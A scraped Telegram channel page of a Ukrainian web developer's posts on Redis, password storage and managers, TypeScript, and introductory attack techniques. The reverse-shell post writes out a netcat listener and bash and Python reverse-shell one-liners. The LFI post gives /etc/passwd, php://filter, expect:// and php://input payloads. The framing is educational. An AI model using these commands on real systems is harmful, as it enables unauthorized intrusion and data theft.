Получи случайную криптовалюту за регистрацию!

Wild Wild Web

Логотип телеграм канала @wild_wild_web — Wild Wild Web W
Логотип телеграм канала @wild_wild_web — Wild Wild Web
Адрес канала: @wild_wild_web
Категории: Без категории
Язык: Русский
Количество подписчиков: 809
Описание канала:

Особистий канал Web-розробника з України, який з часом став Wild Wild. Частіше всього пишу про всякі цікавинки зі світу web, але бувають й інші теми, відірвані від web й не менш цікаві.

Рейтинги и Отзывы

1.50

2 отзыва

Оценить канал wild_wild_web и оставить отзыв — могут только зарегестрированные пользователи. Все отзывы проходят модерацию.

5 звезд

0

4 звезд

0

3 звезд

0

2 звезд

1

1 звезд

1


Последние сообщения

2022-08-19 14:40:42 Redis Explained

Цікавий допис, на мою думку, про те, що з себе представляє Redis. Автор дуже коротко розглядає його популярні конфігурації, починаючи від одного серверу, який робить все і закінчуючи кластером з шардингом.

Памʼятаю, коли я останній раз працював з Redis-ом, то він використовувався, та і годився, тільки на in-memory кеш. А зараз от почитав і про те, що в нього зʼявилась persistence, причому декілька смаків. Коротше, в моїх очах, Redis трішки піднявся, виглядає цікаво. Так що, рекомендую і вам ознайомитись з цим дописом.

https://architecturenotes.co/redis/
359 views11:40
Открыть/Комментировать
2022-08-17 14:48:41 Чи вразливі менеджери паролів в браузерах?

В попередніх постах я написав велике полотно про те, що треба користуватись менеджерами паролів, для того, щоб зберігати свої паролі. В коментарях згадали про вбудовані менеджери паролів в браузерах і я б хотів більш розгорнуто поговорити тепер про них.

Менеджери паролів в браузерах недостатньо захищені
Так, все вірно. Це може здатись декому дуже категоричною заявою, але це так. Спробуймо розібратись, чому саме, та як саме хакер зможе дістати ваші паролі в ситуації з браузерним менеджером паролів.

Браузер зберігає паролі в зашифрованому вигляді?
Коли ви створюєте акаунт на якомусь сервісі та натискаєте "Зберегти пароль" в браузері, він не зберігається в зашифрованому вигляді. Більш того, ви можете піти в налаштування браузера та подивитись всі ці паролі й ніхто у вас не спитає ваш ключ для дешифрування, бо, очевидно, його немає. По замовчуванню, браузери не запитують у вас ключ для шифрування чи дешифрування сховища з паролями, що робить його вразливим.

То як дістати паролі, якщо я умовний хакер?
Розташування цих сховищ також відоме і при доступі до вашої машини, ці паролі можна буде дістати в чистому вигляді, як вони там і зберігаються.

Хакери навіть розробили скрипти для цього, які дозволяють в автоматичному режимі просканувати систему на наявність сховищ з паролями із браузерів і видасть вам список з акаунтів та паролів, якщо такий знайдеться.

Я зараз нікого не накручую і не драматизую, так і є. Якщо ви отримуєте доступ до машини, то витягнути паролі з браузера це питання запуску одного скрипту.

Але ж є нюанси? Звісно, є!
По перше, хакеру треба отримати доступ до вашої машини. Неважливо як саме він це зробить. Чи через фішингову атаку, чи через вразливості якихось сервісів на вашій машині, чи банально вкраде його, а ви не маєте пароля на ньому (і таке буває).

По друге, в залежності від комбінацій операційної системи та браузера, там по різному відбувається цей процес.

Наприклад, якщо взяти Firefox на Windows, то там дійсно питання запуску одного скрипту. Тому якщо ви користуєтесь Firefox-ом, то я б радив поставити Master Password для сховища.

Але якщо взяти MacOS та Safari, то внаслідок тісної звʼязки з Apple ID, це вже складніше. Деталей я не знаю, я думаю, що вони використовують якісь ключі, які згенеровані під ваш Apple ID. Ну і факт того, що при спробі подивитись збережені паролі, він у вас запитує пароль від вашого локального акаунту, то щось таке там дійсно є.

Якщо взяти Chrome та Windows, то там начебто в ролі ключа для шифрування використовується пароль від вашого Google акаунта в браузері. Підозрюю, що така ж логіка і на MacOS. Що також ускладнює процес.

Є ще один спосіб, як це можна зробити
Якщо з захистом не все так погано і там є ключі та оце все, все ще можна спробувати дістати паролі через дамп процесу з браузером. Знову ж таки, якщо хакер отримав доступ до вашої машини, а у вас запущений браузер, то можна спробувати зробити дамп процесу разом з пам'яттю і вже потім можна буде знайти в дампі паролі. Для цього також є інструменти, які допомагають з цим.

В якій ситуації я б сказав, що цей пост неактуальний?
Я відмовлюсь від цієї позиції та цих слів, коли браузери почнуть питати ключ для шифрування сховищ з паролями, а не просто по замовчуванню будуть зберігати його в чистому вигляді. Ну або, хоча б, попереджували користувачів, коли їх паролі зберігаються в незахищеному сховищі.

Чим виграють менеджери паролів?
Вони по замовчуванню працюють тільки через Master Password і по другому ніяк. Тобто ви із коробки отримуєте enforcement того, що сховище буде зашифроване вашим ключем, який ви створили.

Чи є десь курс про цю тему?
Так, є курс на цю тему, але я чесно не памʼятаю як він називався. Це було з академії на Hack The Box, де показувались практичні кейси, на яких ви отримували паролі із браузерів. В тому числі скрипти, які витягують це все в автоматичному режимі.

Епілог
Наголошу ще раз, що багато відіграє саме те, який браузер використовується та на якій ОС та чи є Master Password. В одній комбінації може бути все погано, а в другій — нормально.
399 views11:48
Открыть/Комментировать
2022-08-08 12:34:41 Навіщо менеджери паролів? (#3)

Password Spraying
Для цього, хакери придумали дуже просту концепцію - "розпилювати" пароль. Замість того, щоб підбирати пароль до вашого конкретного акаунту, вони беруть вже знайдений пароль і підбирають користувачів під цей пароль.

І, очевидно, що оскільки пароль у вас однаковий на різних сервісах, ви попадаєте в категорію людей, які вразливі до password spraying. Щоб захиститись від цих векторів атак, почали впроваджувати підхід "один сервіс — один пароль".

При такому сценарії, навіть якщо зловмисник отримував доступ до одного із ваших акаунтів на одному сервісі, він не міг отримати доступ до інших. Тобто, ви мінімізуєте площу атаки для нього.

Але, як тепер запам'ятовувати всі ці паролі під різні сервіси? Отут і з'являються менеджери паролів в цьому часовому відрізку.

Підбирати пароль — дорого, але реально
Індустрія зберігання паролів дійшла до моменту, коли атакувати паролі вже стало просто неефективно, але все ще реально. Беруться конкретні цілі, конкретні люди, їх паролі ставляться на перебір, атаки по словниках й таке інше.

Тому з'явилась потреба захистити себе і від цього. Потрібно було підтвердити свою особистість ще чимось, окрім пароля. Так з'являється другий фактор аутентифікації - time-based one-time password (TOTP).

Двофакторна аутентифікація
Проблема з паролем полягає в тому, що рано чи пізно, його врешті решт атакують. У хакера є безліч часу на це (поки він ще живий, принаймні). Тому потрібна така форма пароля, яка була б захищена від цього.

І тут, виходить TOTP! Це форма пароля, яка дійсна тільки обмежений час. По замовчуванню це 30 секунд. Після 30 секунд, пароль стає недійсним та генерується новий. Але як тоді сервіс може перевірити що ви, це ви.

Коли ви налаштовуєте TOTP вперше, вам потрібно обмінятись ключами між сервісом та вашим сховищем, де цей ключ буде зберігатись. Сервіс каже "дивись, домовмось, що ми будемо кожні 30 секунд генерувати новий пароль, а ключ та алгоритм, який будемо використовувати, ось".

Ваш менеджер паролів зберігає цей ключ, налаштування часу та алгоритм. Після цього, дві сторони знають, як буде генеруватись пароль, що вони й роблять. Але при цьому, ніхто більше не обмінюється ключами, що унеможливлює хакеру генерувати їх на свої стороні.

Таким чином, ви додатково захищаєте свій пароль ще й паролем, який дійсний лише 30 секунд та постійно змінюється. Єдине що залишається хакеру для успішної атаки — атака на ваше сховище, де цей ключ зберігається. Або ж переадресувати вас на фішинг, де ви обміняєтесь ключами не з сервісом, а з хакером.

Продаю вам менеджер паролів
Дуже багато я всього розписав, хочу сказати, що менеджер паролів потрібен — використовуйте їх. На кожен сервіс, кожен логін, потрібен новий пароль. В ідеалі, паролі зі спеціальними символами, числами, великими та малими літерами й довжиною понад 20 символів.

Продаю вам двофакторну аутентифікацію
Якщо сервіс пропонує вам налаштувати 2FA - робіть це. Використовуйте time-based one-time password.

Епілог
Визнаю, я ну дуже багато сьогодні розписав. От мене прорвало прям щось на цю тему, але я й не думав її оформляти якось в вигляді чек-поінтів. От як йшли в мене думки, так і писав. Подумав, що вам може буде цікаво. Пишіть в коментарях, може має сенс розкрити цю тему якось більш структуровано?

P.S. Ну і якщо у вас є друзі чи знайомі, які досі мають один пароль qwerty на всі акаунти, можете ділитись цим текстом, можливо йому це допоможе ще раз подумати про те, що так робити не варто
644 views09:34
Открыть/Комментировать
2022-08-08 12:28:40 Навіщо менеджери паролів? (#2)

Перебір паролів
Ключова ідея хешування була в тому, що скільки б разів ви не хешували дані, при одних і тих же вхідних даних ви отримуєте той же хеш. Інакше, ви б не могли порівнювати що хеші збігаються з тим, що в вашій базі даних.

Хакери дуже швидко це збагнули та почали просто перебирати різні варіанти, поки вони не отримають хеш, який збігається з тим що є в базі даних. Алгоритм дій дуже простий. Спочатку спробуємо чи підходить пароль "а". Ми візьмемо "а", опрацюємо його через md5, а отриманий хеш порівняємо з тим, що є в базі даних. Не збіглося? Спробуймо "б", опрацюємо через md5 та порівняємо і так далі. Ідея зрозуміла.

Як тільки хакер знаходить хеш, який збігається з тим, що є в базі даних, він знаходить пароль. Бо він знає що цей хеш був отриманий із такого-то слова, наприклад "qwerty". І паролі знов опинились під загрозою. Хакери почали їх перебирати та вже згодом зрозуміли, що це довго.

Навіщо перебирати кожного разу?
Пізніше, хакери збагнули, що через те, що хеші завжди одні й ті ж самі від тих самих паролів, вони почали робити їх словники. В цих словниках були наперед прораховані паролі та їх хеші. Якщо ми візьмемо пароль "а" сьогодні, та пароль "а" завтра, md5 хеш від них буде такий же. То візьмімо і хеш до пароля "а" та збережемо!

Згодом, маючи словник таких паролів, його пошук став дуже простим. Все що вам потрібно, це просто знайти в цьому словнику хеш, який у вас на руках, та подивитись, який текст використовувався до нього як вхідні дані.

Можете почитати детальніше, в тому числі й про веселкові таблиці (термін не звучить, але не знаю як перекласти). Якщо ви колись використовували сервіси типу "от тобі md5, скажи що там було", то вони використовують ці словники та таблиці.

А якщо у двох користувачів такий самий пароль?
Що ще хакери успішно використовували, так це той факт, що якщо пароль у двох людей однаковий, то і його хеш буде збігатись. Тобто, якщо ви успішно атакували хеш та отримали пароль, ви могли бути впевнені в тому, що якщо є такий же хеш у другого користувача, то він використовує такий же пароль — економія часу!

Від цієї атаки почали захищатись тим, що впровадили сіль. Сіль — це випадково згенерований рядок, який додається до пароля. Коли користувач дає свій пароль, до цього пароля додається унікально згенерований рядок, сіль, що робить його пароль унікальним серед всіх користувачів, навіть якщо паролі такі ж самі.

Це захищало від атаки, коли хакер отримував базу даних з паролями та мав словники. Навіть якщо в нього були великі веселкові таблиці, вірогідність того що в них будуть "посолені" паролі була мала. Та й навіть якщо він успішно атакував один із них, він не міг бути впевненим до якого користувача знайдений пароль підійде. Бо у кожного користувача своя сіль, унікальний хеш, незрозуміло, в кого такий самий пароль. Тому й атака повинна була йти під кожного користувача окремо — дорого!

Еволюція алгоритмів для паролів
Нині, алгоритмів для хешування паролів купа. Багато з них дають вам із коробки й сіль й купу ітерацій й математичні моделі, які захищають від швидкого перебору.

Вже навіть існує формат пароля, в якому зберігається сам пароль і його сіль та алгоритм, який використовувався. До прикладу, візьмемо bcrypt та пароль "qwerty". Отримаємо ось такий рядок - $2a$10$CeTrZ5IL4QXk85rZEcKOY./L4fDlaO50s..Q.poVUdDyULl7jtIFK. В цьому рядку 2a вказує на те що це bcrypt, 10 вказує на кількість ітерацій і далі сіль та сам пароль. Інструменти на кшталт hashid вміють такі паролі ідентифікувати, це щось типу "стандарту", але не дуже стандарт

Якщо паролі так сильно захищаються, навіщо різні паролі?
В тому то й проблема, що ви не знаєте як ваші паролі захищаються на тих сервісах які ви використовуєте. Ви можете сміятись, але я своїми очима бачив ситуації, де пароль досі зберігається в plain text. Тому, you never know.

От до прикладу, ви використовуєте один пароль на всі сервіси. Один із сервісів виявляється не таким класним в плані зберігання паролів і його атакували, тим самим зловмисники отримали пароль до вашого акаунту. Що вони можуть з цим зробити?
512 views09:28
Открыть/Комментировать
2022-08-08 12:21:25 Навіщо менеджери паролів? (#1)

Нещодавно я змінював свій менеджер паролів, яким я користувався досить довго, на інший. Це було дуже прикро, та ще й тяжко, бо перенести всі акаунти з двофакторними авторизаціями на новий менеджер паролів — це той ще квест. Через те, що в мене не було вибору і я вимушено мігрував, я вирішив провести ще й ротацію паролів. Якщо вже мігрувати, то з музикою

Так от, до чого це я... Зʼявилась тема, яку я б хотів спробувати розкрити, а саме — для чого потрібні менеджери паролів? Чому двофакторна авторизація потрібна? Чому не треба використовувати один і той же пароль на різні сервіси? І так далі... Це буде великий пост, але, сподіваюсь, буде цікаво. Щоб було ще цікавіше, пропоную дивитись на це з точки зору хакера та почати з самого простого. Що ж, поїхали...

Пароль ідентифікує людину
Сам по собі конструкт "пароля" не новий та існує вже дуже давно. Повинен бути спосіб якось ідентифікувати людину, що це справді вона, що це справді той, кого ми очікуємо. Тому паролі в тому чи іншому вигляді існують дуже довго.

І один зі способів це мати якесь спільне слово, про яке знаєте тільки ви та інша сторона. В нашому контексті, в якому ми будемо говорити, це база даних, де зберігається це слово, де зберігається ваш пароль.

Зберігання plain-text?
Добре, нам потрібно зберігати пароль нашого користувача. Саме просте що ми можемо зробити — це зберігати його в тому ж вигляді, в якому він був нам переданий (aka plain-text).

Користувач при реєстрації вказує свою публічну інформацію та вказує своє секретне слово — пароль. Ми цей пароль отримуємо і зберігаємо його у своїй базі даних. Sounds Legit!

І все було б круто, якби не одне але. У випадку, якщо хакер отримує доступ до бази даних, він "безплатно" отримує список всіх акаунтів зі всіма паролями. Уявіть, що у вас мільйони користувачів, а база даних, яку отримав хакер, містить в собі буквально список всіх паролів всіх користувачів у відкритому вигляді — жах!

Хешуємо все в md5 - бігом!
Коли індустрія зрозуміла, що plain-text це не круто, почалось масове хешування паролів. Що таке хешування це тема для окремого поста, але дуже коротко — це процес при якому вхідні дані приймають іншу форму, із якої неможливо отримати ті самі вхідні дані (не плутати з шифруванням).

Так от... На той час популярним був md5. Це алгоритм, який дозволяв взяти рядок будь-якої довжини та отримати рядок довжиною в 32 символи.

Тепер, перед тим як зберігати пароль в базу даних, ми хешували його через md5 та зберігали хеш пароля, а не сам пароль. Наступного разу, коли приходив користувач та давай свій пароль, ми його знову хешували та перевіряли чи сходиться він з тим, який у нас в базі даних.

Таким чином, ми закрили ту діру, яка була у випадку з отриманням доступу до бази даних. Паролі більше не зберігаються в тому вигляді, які вони були з початку — перемога!

Хакер атакує базу даних, отримує список з md5, замість паролів, та не знає що з цим робити. Якщо він буде передавати самі хеші як паролі, то це не спрацює, тому що це не є тим самим паролем, словом, яке було на початку. Та чи справді він не знає що з цим робити?
528 views09:21
Открыть/Комментировать
2022-07-09 13:32:14 Reverse Shell та Bind Shell

Дуже часто ці два терміни використовуються у світі інформаційної безпеки, та що вони значать? Особисто для мене, зрозуміти різницю між ними було не дуже легко на початку. Але як виявилось, вона все ж таки є.

Почну з того, що зрозуміти буде простіше, бо ми всі це дуже часто використовуємо в повсякденній роботі.

Bind Shell
Всі працювали з SSH, виконували команду ssh username@ip і підʼєднувались до якогось віддаленого сервера для подальшого керування ним.

В цьому випадку, на віддаленому сервері виконувалась програма, яка надає реалізацію ssh. Ця програма постійно слухала на порту 22 (по замовчуванню) вхідні зʼєднання і як тільки це зʼєднання відбувалось — ви отримували shell.

Тобто, в цій схемі, віддалений сервер очікує зʼєднання, а ініціатор зʼєднання — ви, клієнт. От це і називається Bind Shell-ом. На віддаленому сервері "bindиться" порт, який очікує зʼєднання від вас.

І це все добре працює, якщо ви очікуєте що хтось буде до цього віддаленого сервера підʼєднуватись. А якщо ні?

Reverse Shell
І тут ми приходимо до самого цікавого. Reverse Shell це все те саме що й з Bind Shell. Але! Ролі ініціатора та очікувача міняються місцями, звідси й "Reverse".

Якщо в випадку з Bind Shell віддалений сервер очікує зʼєднання, то в випадку з Reverse Shell зʼєднання очікуєте ви, на своїй локальній машині. Ініціатор також міняється місцями. У випадку Bind Shell, ініціює зʼєднання клієнт, як от з ssh, а у випадку з Reverse Shell ініціює зʼєднання віддалений сервер.

Тепер обʼєднаємо з RCE
Згадуємо попередній пост, де я писав про Remote Code Execution. Маючи можливість виконувати код на віддаленому сервері, ми частіше всього зможемо й створити Reverse Shell!

Але чому не Bind Shell, раз ми можемо код виконувати? Представте собі, що ви маєте сервер, який відповідає лише за те, щоб віддавати трафік по порту 80\443. І цей сервер точно не очікує вхідний трафік на порт 22, це було б дуже підозріло. Дуже багато фаєрволів подібний трафік просто закривають, закривають всі inbound зʼєднання, окрім портів, яким дозволено. Тобто, Bind Shell просто не спрацював би.

Але от не багато фаєрволів закривають outbound трафік із сервера (з коробки, маю на увазі). А в випадку з Reverse Shell це якраз і є outbound трафік. Насправді цей сервер не приймає ніяких зʼєднань, тим паче на порт 22. Тому в деяких випадках це і проходить повз фаєрволу.

Як створювати Reverse Shell?
Способів його створити дуже багато. Починаючи від самого простого TCP зʼєднання через netcat і закінчуючи awk (так, я не помилився, через awk в Linux можна створити Reverse Shell).

Спочатку, ви починаєте слухати вхідні зʼєднання на своїй машині. Це доволі просто зробити за допомогою netcat (-l listen, -n no dns, -v verbose, -p to listen to):

nc -lnvp 4444

Потім, переходите до віддаленого сервера (цілі). Приведу декілька прикладів та наголошу, що це команди, які ви виконуєте на віддаленому сервері через вразливість, яка дозволяє робити Remote Code Execution. Тобто IP в цих прикладах, це IP вашої машини, яка вже слухає вхідний трафік через той же netcat.

Запускаєте bash, та перенаправляєте все в TCP зʼєднання до вашої машини:

/bin/bash -l > /dev/tcp/10.0.0.1/4444 0<&1 2>&1

Або, через Python, відкриваєте сокет та направляєте його в той же sh:

python -c 'import socket, subprocess;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));subprocess.call(["/bin/sh","-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())'

Більше прикладів ви можете подивитись тут.

P.S. Я нещодавно думав про текстовий формат на каналі в контексті інформаційної безпеки. Розумію, що текстом сприйняти подібний матеріал може бути складно. Коли тут були Type Challenges, був початок і кінець, а між ними невелика історія, яка містилась в одному пості. Наразі ж, з постами про безпеку, це не так. Тому я думаю про те, щоб знімати невеликі відео з супроводом на екрані, щоб показати тему в дії. Або більше, знімати атаки на тренувальні цілі Hack The Box. Поки не зарікаюсь, але я працюю в цьому напрямку, може щось та вийде.
799 views10:32
Открыть/Комментировать
2022-07-01 12:19:00 Добірка проєктів реалізованих виключно на системі типів TypeScript

Доки я ще не зловив бажання розповісти про {Reverse, Bind} Shell та що це й для чого, поділюсь з вами невеличкою добіркою, яку я знайшов гуляючись інтернетом.

Мушу сказати та попередити, що всі ці фокуси з типами, звісно, дуже круто виглядають. Але я ще раз наголошу на тому, що гратись з типами з ціллю загального розвитку та писати код в продакшн — це різні речі.

Тому, подивитись на такі цікаві проєкти, дізнатись щось нове з цього, що може допомогти в другому проєкті, завжди "за!". Але, будь ласка, не намагайтесь тягнути такий код в продакшн, вам ще з людьми працювати

Що ж, disclaimer залишив, тепер і сам список приведу:

- 4-Bit Virtual Machine - стекова віртуальна машина з математичними операціями, роботою зі стеком та виводом на екран. Ви йому кортеж з оп кодів віртуальної машини, він вам результат виконання.

- Tiny SQL database - невеличка база даних, реалізована виключно на анотаціях типів. Приймає рядок з SQL запитом і саму "базу даних" як тип параметри та повертає результат.

- Tiny Language Interpreter - інтерпретатор для мови програмування, подібної до Lisp. Розуміє синтаксис Lisp, має функції та змінні. Приймає рядок з кодом та повертає результат.

- Tic Tac Toe Game - гра в хрестики нолики. Це не сама гра в класичному сенсі, ніхто з вами грати не буде. Але ви даєте на вході розташування, а він вам відповідає хто виграв.

Це не всі проєкти які я побачив в добірці, але ті, які, на мою думку, були дуже цікавими та пізнавальними.

Напишіть в коментарях, а який самий "складний" тип ви писали в TypeScript? Для чого ви це робили й скільки часу пішло на це?

З нещодавнього мого, чим займався в Wix, намагався зробити Schema Builder виключно в системі типів TypeScript з інтроспекцією в рантайм, але нічого не вийшло. Були локальні успіхи та шанси переграти рішення в цю сторону, та прийшла війна і довелось змінити пріоритети.
872 views09:19
Открыть/Комментировать
2022-06-27 15:38:39 Remote Code Execution (RCE)

Продовжу писати про вектори атаки на системи, але в цей раз я розкажу більш не про сам вектор атак, а їх результат. В попередній раз ми розглядали конкретний приклад вектора атаки на імпорт файлів. І в тому прикладі було прописано які саме компоненти вразливі, в якому контексті, та до чого та вразливість призводить.

Так ось, далі в тому прикладі, було згадано, що ми можемо навіть в деяких ситуаціях виконувати наш код, з нашої машини, на цільовій. Ось це і є Remote Code Execution.

Коли ви, як хакер, добиваєтесь того що можете зі своєї машини задавати команди на виконання цільовій машині, то це той момент, коли, зазвичай, кажуть "I'm in".

Що нам дає RCE?
Доки у нас не зʼявляється можливість виконувати команди на цільовій системі, ми знаходимося в дуже обмеженому середовищі. Ми можемо збирати інформацію про ціль, ми можемо діставати ту інформацію, яку б не хотіли, щоб ми діставали, і так далі. Але це все залишається на дуже базовому й обмеженому рівні, доки в нас немає RCE. Це саме те, що шукає кожен хакер в першу чергу.

Як тільки ми знаходимо спосіб, як саме можна передати команду whoami та отримати у відповідь довгоочікуваний, наприклад, www-data, у нас зʼявляється купа можливостей для того, щоб прокачати RCE до повноцінного інтерактивного Shell (навіть без класичних SSH).

Яких видів він буває?
В цілому, мені важко поділити це на категорії, бо лінії дуже плавучі, але декілька із них я б таки досить чітко поділив.

Перша із них і досить популярна в web аплікаціях - Web Shell. Зазвичай, це скрипти на PHP, Python, JavaScript та інших мовах, які приймають через веб параметри команди на виконання, та через API мов виконують ті команди. Такі скрипти завантажуються через вразливості в компонентах завантаження файлів, після чого знаходиться місце, куди файл було завантажено і викликається з машини хакера. Ви йому запит, він вам результат виконання, й так по колу.

Друга — це всілякі Reverse Shell та Bind Shell. Якщо ви отримали можливість виконувати команди через якийсь незручний спосіб, то ви можете, використовуючи різні інструменти в ОС, відкрити TCP зʼєднання на вашу машину. Але при цьому, в це зʼєднання буде перенаправлятись вхідні дані з вашої машини, а вивід з машини цілі. Наприклад, зʼєднання через netcat з машини цілі на вашу машину, але з прапорцями перенаправлення вводу\виводу /bin/bash з цільової машини.

Всі інші категорії, якщо вони й існують, не попадались мені часто, тому особисто мені важко їх виділити в якусь конкретну категорію. Загалом, всі ці RCE це або про завантаження злого файлу на ціль, який приймає команди чи зʼєднання, або навпаки, виконання команди з цільової машини, щоб та відкрила зʼєднання до вашої машини.

Через які вразливості отримують RCE?
Їх насправді дуже багато. І про них ми згодом будемо говорити.

Починаючи від чогось дуже очевидного, типу неправильно написаного коду, який не фільтрує користувацькі дані на вході, перед тим як створити дочірній процес. Наприклад, код типу spawn("ping "+ip_address), де ip_address контролюється користувачем. Достатньо до IP адресу додати ";" і ми вже вийшли за рамки команди ping і можемо писати свої.

І закінчуючи вразливостями в сервісах типу Samba, FTP, RDP та інші. Коли ми можемо завантажити файли, які відкриють нам зʼєднання до нашої машини й передадуть керування. Наприклад, можливість завантажувати файли від анонімного користувача в каталог, який опрацьовується вебсервером. Завантажуємо файл з Web Shell через FTP, а команди виконуємо через HTTP. В такому разі це просто недогледіли анонімний доступ та те що той же каталог є частиною вебсервера.

Епілог
Як бачите, конкретики сьогодні мало, тому що RCE це не про конкретну вразливість в системі, а скоріше про результат експлуатації інших вразливостей. Але цей результат є дуже важливим. Якщо ви не отримали RCE, то можна сказати що ви нічого й не досягли.

Згодом, в наступних постах, я більш детально розкажу про Reverse Shell та Bind Shell. Як саме, маючи можливість виконувати команди, можна отримати інтерактивні shell.
908 views12:38
Открыть/Комментировать
2022-06-24 11:34:30 Local File Inclusion (LFI)

Всім привіт! Нещодавно я думав про те що, можливо, я обрав не той напрямок ведення постів про безпеку. Тому, спробуймо поговорити в наступних постах про конкретні атаки, без розповідей про те, як їх автоматизовувати.

Поки снідав, то думав, про яку ж саме розказати, з якої почати... Вирішив взяти щось дуже просте й банальне, але яке інколи є дуже таки серйозною вразливістю. Тому, зустрічайте - LFI!

Який вектор атаки?
Local File Inclusion атаки націлені на ті компоненти системи, які динамічно імпортують файли для зображення чи опрацювання цих файлів. І якщо у користувача є спосіб впливати на те, який саме файл завантажується — ви в грі!

Конкретний приклад вразливої системи
Щоб простіше було зрозуміти, візьмемо простий приклад з php. Дехто з вас, напевно, памʼятає як раніше робились роутери. У вас є посилання виду my-site.com/index.php?page=contact. А в самому коді писали щось типу require($_GET['page']). Тобто, аплікація робить імпорт файлу, шлях до якого контролюється ззовні.

Як експлуатується?
В прикладі вище, ми замість page=contact передаємо page=/etc/passwd і аплікація залюбки робить імпорт файлу /etc/passwd і показує його вміст. Таким чином ми реалізовуємо атаку, яка називається Information Disclosure.

Маючи спосіб дивитись зміст файлів на сервері, ми можемо дістати багато цікавої інформації. В тому числі вихідні коди самого вебсервера, що досить часто може призвести до Whitebox Penetration Testing, облегшуючи подальші дії. Наприклад, дістати зміст файлу, в якому зберігаються пари логін:пароль для підключення до бази даних.

А якщо додати протоколи?
Експлуатація цієї вразливості працює тільки на файлах, які знаходяться локально. Але є але! Деякі мови програмування та фреймворки, дозволяють робити імпорт не лише файлу типу /etc/passwd, а й "файлів" які зберігаються віддалено. Тобто, передати умовний https://google.com це не проблема і в результаті завантажиться гугл.

І ось тут вже можна видумувати багато чого і гратись з цим. Наприклад, якщо на системі встановлено той же PHP, то ви можете використовуючи PHP Filters передавати php://filter/convert.base64-encode/resource=/path/to/file як шлях. Що призведе до конвертації файлу в base64, який вам покажеться згодом. Це допомагає обходити деякі фільтри.

Або, ви можете зробити page=expect://whoami й взагалі отримати можливість виконувати команди на сервері (при наявності expect в системі, з коробки його нема).

Або взагалі красиво підійти до справи й відправити POST запит. В цьому запиті вказати Web Shell . А в query параметрі вказати поряд з page=php://input ще й cmd=whoami. В такому сценарії, PHP робить require('php://input'), що своєю чергою імпортує код з тіла POST запиту (так php://input працює) й інтерпретує його. А в тілі запиту ми тримаємо команду system(), яка викликає ту команду, яку ми вказали через параметр cmd. Що також призводить до можливості виконувати команди.

Чи вразливі інші мови?
Я на прикладі PHP розглядав це, але чи вразливі інші мови? Звісно! Всі мови програмування в тому чи іншому виді імпортують файли. У них різні для цього механізми, різні функції та й інше, але це можливо. І якщо ваш код на .NET, Java чи Node.js робить імпорт файлу, шлях до якого може контролюватись ззовні — ви в зоні ризику. А якщо ще й ті функції імпорту, які підтримують можливість робити імпорт через другі протоколи — вектор атаки збільшується.

Та чи можна захиститись?
Так, можна. Я б дав декілька порад на цю тему.

По перше, зробіть нормальний регулярний вираз, який виступає в ролі фільтра для вашого параметра. Якщо ви не можете обійтись без того, щоб не імпортувати шляхи які контролюються ззовні, то максимально затягніть пояс для можливих варіантів.

По друге, якщо хакер вже і пройде через перший фільтр, то не використовуйте для імпорту функції, які дозволяють імпортувати через інші протоколи, тільки локальні файли. Це потенційно знизить надану шкоду.

А взагалі, намагайтесь просто ніколи не робити таких імпортів. В такому випадку вектор звузиться
912 views08:34
Открыть/Комментировать
2022-06-15 12:20:50 Всім привіт! Сьогодні трохи відірвемось від нудної та непотрібної безпекової складової в постах

Були часи, десь там у 2021 році, восени, коли ми ходили по конференціях та розповідали всякі технічні штуки. Десь в той час, я робив доповідь про те, як концептуально влаштований V8 в Node.js.

Нещодавно, запис було опубліковано на каналі Framework Days, де ви можете його переглянути. Я говорив про такі речі як:

- Що таке V8?
- Чим відрізняється інтерпретація від компіляції?
- Що таке JIT компіляція?
- Як концептуально влаштовані оптимізувальні компілятори?
- Невелике демо, на якому я показую байт коди й машинні коди.
- Декілька запитань та відповідей.

Бажаю приємного перегляду, багато кому доповідь дуже сподобалась!



3.6K views09:20
Открыть/Комментировать